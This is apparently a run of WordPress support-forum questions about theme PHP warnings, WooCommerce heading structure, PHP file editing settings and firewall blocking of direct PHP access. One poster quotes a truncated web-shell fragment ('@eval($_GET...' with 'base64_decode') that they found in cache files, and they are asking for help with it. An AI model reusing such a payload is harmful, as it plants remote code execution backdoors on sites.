Is strange that in this case, this bug log appears in the shopping store, only in the shopping one and in some of random pages.
Warning: Undefined variable $code in /home/u351063112/domains/srmabipark.com/public_html/wp-content/themes/woodmart/inc/classes/License.php on line 148
Warning: Undefined variable $data in /home/u351063112/domains/srmabipark.com/public_html/wp-content/themes/woodmart/inc/classes/License.php on line 148
Warning: Trying to access array offset on value of type null in /home/u351063112/domains/srmabipark.com/public_html/wp-content/themes/woodmart/inc/classes/License.php on line 148
Warning: Undefined variable $load_integration in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Warning: Attempt to read property "id" on null in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Warning: Undefined variable $load_integration in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Warning: Undefined variable $load_integration in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Warning: Attempt to read property "id" on null in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Warning: Undefined variable $load_integration in /home/u351063112/domains/srmabipark.com/public_html/wp-content/plugins/woocommerce/includes/class-wc-integrations.php on line 43
Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 7053
Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 2165
Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 7053
Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 2165
Deprecated: strpos(): Passing null to parameter #1 ($haystack) of type string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 7053
Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /home/u351063112/domains/srmabipark.com/public_html/wp-includes/functions.php on line 2165
Thx!!
]]><head>
tag in the twenty twenty-three theme. Every tutorial or guide I have looked at tells me to edit the header.php
file in the theme, however the twenty twenty-three theme only has a header.html
and does not contain the <head>
tag. How would I go about adding a CSS <link>
tag into the <head>
tag of this theme? It also appears that there are a lot of missing files that these guides have but this theme does not, mainly the *.php
files.
]]>Under ”Disable Ability To Edit PHP Files”, there is only one option and checkbox:
”Check this if you want to remove the ability for people to edit PHP files via the WP dashboard”
I am unable to uncheck this option. I can, but it is not permanent.
When I click save, it looks unchecked.
Then, when I reload the page, I can see that it is checked again.
And naturally, plugin editing is not available.
Thanks in advance
]]>The problem is when we go to single product page. Following the proper structure od headinds (from h1 to h6, from top to bottom of a single web page).
Option 1 – Shop could be h1, followed by Home/Uncategorized/Belt breadcrumbs which is h2 and the single product name could be h3.
Option 2 – Shop could be h1, followed by Home/Uncategorized/Belt breadcrumbs which is p and the single product name could be h2 and short description could be h3. But the problem is the Shop page. Where to put h2? It should be after breadcrumbs p tag and before product name h3 tag. And I don’t want “Showing 1–12 of 17 results” to be my h2. Meaning, I have to put h2 before this sentence. But how? And where? (My question 1).
Like I said, Woocommerce is a plugin to WordPress, which means that the woocommerce should follow proper headings structure (which is essential part of SEO). In this theme
the single product title is h1. So for this page – of a single product Belt, the headings structure is h2, h3 than h1, which is not right.
My question 2 is what templates or php files I have to edit/change in order to get this as it should be.
I made some changes to these files:
themes/estore-child/woocommerce/single-product/related.php
themes/estore-child/woocommerce/single-product.php
themes/estore-child/page-templates/template-wc-collection.php
themes/estore-child/archive.php
themes/estore-child/footer.php
themes/estore-child/index.php
themes/estore-child/page.php`
but I can’t find the php file for Shop page.
Thanks.
]]>I was checking if I could access to the php files directly in the browser and I saw that one of them shows part of the text or/and code.
I tested this with:
– twentytwenty
– twentyfifteen
– catch-evolution
– blankslate
The code or text displayed is part of that .php file, but not all. I am not sure if this important, if I am allowed to explain this issue here nor where I should report this problem to give more details.
]]>But, I can’t see any option to access the .php files. (just like: Appearance -> Editor)
Please help.
Thanks
rick
I had some potentially malicious code in files like this(name changed):
wp-content/cache/supercache/www.example.org/meta-wp-cache-www.example.org12ef834fsaf32r23f43gsdf95.php
here is the sample:
@eval($_GET[%27fuck%27]);&fuck=fputs(fopen(base64_decode(
@donncha has written some time ago that these PHP files are generated off the website. What kind of requests are they generated from? Are they error logs generated from debugging tab – there is a link to non-existing php file with hashed name?
I looked into other files and database and they seem clean. Is it possible that the plugin has cached a malicious request?
]]>On Firewall Policies > Basic Policies, I see: “WordPress > Block direct access to any PHP file located in one of these directories”
The list of directories, though, includes several with wildcards * and one that has /wp-includes/*.php
, suggesting that the policy may not apply only to PHP files.
I’m not sure if that’s the case, but I have a bunch of .xml files that are invoked within an iframe element. The .xml files are all in a folder inside /wp-content/uploads/. When I check to include /wp-content/uploads/in this policy, the .xml files are blocked.
Is there a way to protect direct access to PHP files but not to .xml files?
Thank you
]]>